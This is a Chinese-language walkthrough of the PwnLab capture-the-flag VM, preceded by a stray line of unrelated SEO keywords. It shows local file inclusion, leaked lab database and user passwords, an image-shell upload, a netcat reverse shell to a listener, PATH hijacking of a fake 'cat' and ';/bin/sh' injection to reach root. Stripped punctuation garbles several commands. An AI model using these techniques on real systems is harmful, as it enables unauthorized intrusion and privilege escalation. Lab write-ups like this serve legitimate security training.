视觉品牌网站建设,建设部勘察设计网站,建设企业网站的,php如何创建站点pwnlab通关
关于文件包含#xff0c;环境变量劫持的一个靶场
信息收集
靶机ip#xff1a;192.168.112.133
开放端口
根据开放的端口信息决定从80web端口入手
目录信息 在images和upload路径存在目录遍历#xff0c;config.php被渲染无法查看#xff0c;upload.php需…pwnlab通关
关于文件包含环境变量劫持的一个靶场
信息收集
靶机ip192.168.112.133
开放端口
根据开放的端口信息决定从80web端口入手
目录信息 在images和upload路径存在目录遍历config.php被渲染无法查看upload.php需要先登录才能访问尝试先从登录login.php界面入手
渗透阶段
访问
http://192.168.112.133点击login路径变为
http://192.168.112.133/?pagelogin再访问下login.php
http://192.168.112.133/login.php很明显的文件包含利用php文件流进行读取,再进行base64解码
index.php
http://192.168.112.133/?pageconvert.base64-encode/resourceindex?php
//Multilingual. Not implemented yet.
//setcookie(lang,en.lang.php);
if (isset($_COOKIE[lang]))
{include(lang/.$_COOKIE[lang]);
}
// Not implemented yet.
?
html
head
titlePwnLab Intranet Image Hosting/title
/head
body
center
img srcimages/pwnlab.pngbr /
[ a href/Home/a ] [ a href?pageloginLogin/a ] [ a href?pageuploadUpload/a ]
hr/br/
?phpif (isset($_GET[page])){include($_GET[page]..php);}else{echo Use this server to upload and share image files inside the intranet;}
?
/center
/body
/htmlconfig.php
http://192.168.112.133/?pageconvert.base64-encode/resourceconfig?php
$server localhost;
$username root;
$password H4u%QJ_H99;
$database Users;
?upload.php
http://192.168.112.133/?pageconvert.base64-encode/resourceupload?php
session_start();
if (!isset($_SESSION[user])) { die(You must be log in.); }
?
htmlbodyform action methodpost enctypemultipart/form-datainput typefile namefile idfile /input typesubmit namesubmit valueUpload//form/body
/html
?php
if(isset($_POST[submit])) {if ($_FILES[file][error] 0) {$filename $_FILES[file][name];$filetype $_FILES[file][type];$uploaddir upload/;$file_ext strrchr($filename, .);$imageinfo getimagesize($_FILES[file][tmp_name]);$whitelist array(.jpg,.jpeg,.gif,.png); if (!(in_array($file_ext, $whitelist))) {die(Not allowed extension, please upload images only.);}if(strpos($filetype,image) false) {die(Error 001);}if($imageinfo[mime] ! image/gif $imageinfo[mime] ! image/jpeg $imageinfo[mime] ! image/jpg $imageinfo[mime] ! image/png) {die(Error 002);}if(substr_count($filetype, /)1){die(Error 003);}$uploadfile $uploaddir . md5(basename($_FILES[file][name])).$file_ext;if (move_uploaded_file($_FILES[file][tmp_name], $uploadfile)) {echo img src\.$uploadfile.\br /;} else {die(Error 4);}}
}?在config.php中直接拿到了mysql的用户名密码直接连接
在user表中拿到了3个用户及密码密码经过base64加密 解密后
kent JWzXuBJJNy
mike SIfdsTEn6I
kane iSv5Ym2GRo有了账号密码后直接在登录页面进行登录登录后会显示文件上传界面 发包拦截对upload.php进行代码审计发现经过了后缀白名单mime类型等一些校验导致无法进行后缀绕过。只能上传图片马想通过文件包含的方式getshell但是在之前index.php页面中的include是这样的如果包含的是xxx.jpg最后会被拼接成xxx.jpg.php文件不存在
if (isset($_GET[page])){include($_GET[page]..php);}但在index.php中发现了另一个文件包含可以利用Cookie进行getshell
if (isset($_COOKIE[lang]))
{include(lang/.$_COOKIE[lang]);
}首先绕过检测上传图片马得到路径 蚁剑连接在header中设置cookie的lang字段 成功getshell
由于蚁剑是半交互式的防止后面提权可能会用不了直接shell reverse到本机
这里采用nc工具本机监听7777端口
nc -lvvp 7777蚁剑窗口
nc -e /bin/bash 192.168.112.130 7777反弹成功 进入交互式shell
python -c import pty;pty.spawn(/bin/bash);提权阶段
当前用户为www-data查找当前用户可提权的suid命令
find / -perm -us -type f 2/dev/null没有可以利用的切换用户kent没找到
su kent切换mike不让登录
su mike登录kane
su kane还是查找suid命令在kane的用户目录下找到了一个可执行文件 cd到该目录下进行查看是一个ELF文件 strings msgmike在msgmike中发现了一条cat语句
cat /home/mike/msg.txt我们利用环境变量进行劫持cat
在/home/kane目录下新建cat给予执行权限写入反弹更改环境变量
touch cat
chmod x cat
echo /bin/sh cat
export PATH/home/kane:$PATH这样执行msgmike执行到cat语句会直接反弹到更高的权限
./msgmike继续进入交互式shell
python -c import pty;pty.spawn(/bin/bash);在mike用户下查找可执行的suid命令在mike用户下发现了一个msg2root的可执行文件 cd到该目录下
strings msg2root在msg2root文件中发现了一条echo命令%s是我们写入的字符串
/bin/echo %s /root/messages.txt我们直接利用;分割反弹shell
;/bin/sh首先运行msg2root
./msg2root成功提权到root
cd到root目录下查看flag